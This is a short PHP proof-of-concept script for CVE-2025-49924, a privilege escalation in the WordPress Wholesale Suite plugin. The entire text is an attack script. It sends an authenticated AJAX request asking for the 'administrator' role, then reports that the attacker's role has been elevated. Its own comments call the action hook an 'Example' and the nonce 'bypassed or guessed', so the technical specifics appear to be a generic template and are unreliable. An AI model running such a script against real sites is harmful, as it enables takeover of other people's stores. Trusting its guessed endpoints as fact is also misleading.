CVE-2025-49924

<?php /** * CVE-2025-49924 - Wholesale Suite Privilege Escalation PoC * Affected: Wholesale Suite (woocommerce-wholesale-prices) <= 2.2.4.2 * Vulnerability: Incorrect Privilege Assignment leading to Privilege Escalation */ // PoC concept: Exploit missing privilege validation in role assignment // Note: Actual exploitation requires authenticated session with valid cookies/nonces $target_url = 'https://target-wordpress-site.com'; $attacker_cookies = 'wordpress_logged_in_[hash]=YOUR_AUTH_COOKIE; wordpress_sec_[hash]=YOUR_SEC_COOKIE'; // Step 1: Identify the vulnerable endpoint // The Wholesale Suite plugin exposes AJAX/REST endpoints for role management // that lack proper privilege checks. // Step 2: Craft privilege escalation request // Exploit the role assignment functionality to elevate privileges $endpoint = $target_url . '/wp-admin/admin-ajax.php'; // Payload to trigger incorrect privilege assignment $payload = http_build_query([ 'action' => 'wholesale_customer_register', // Example action hook 'user_id' => 'ATTACKER_USER_ID', 'role' => 'administrator', // Request elevated role 'nonce' => 'BYPASSED_OR_GUESSED_NONCE', ]); // Step 3: Send the malicious request $ch = curl_init($endpoint); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $payload); curl_setopt($ch, CURLOPT_HTTPHEADER, [ 'Cookie: ' . $attacker_cookies, 'Content-Type: application/x-www-form-urlencoded', 'X-Requested-With: XMLHttpRequest', ]); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); echo "Response: " . $response . "\n"; echo "If successful, the attacker's role has been elevated to administrator.\n"; // Alternative approach via REST API if exposed // $rest_endpoint = $target_url . '/wp-json/wholesale/v1/role'; // Send PUT/POST request with role=administrator parameter ?>

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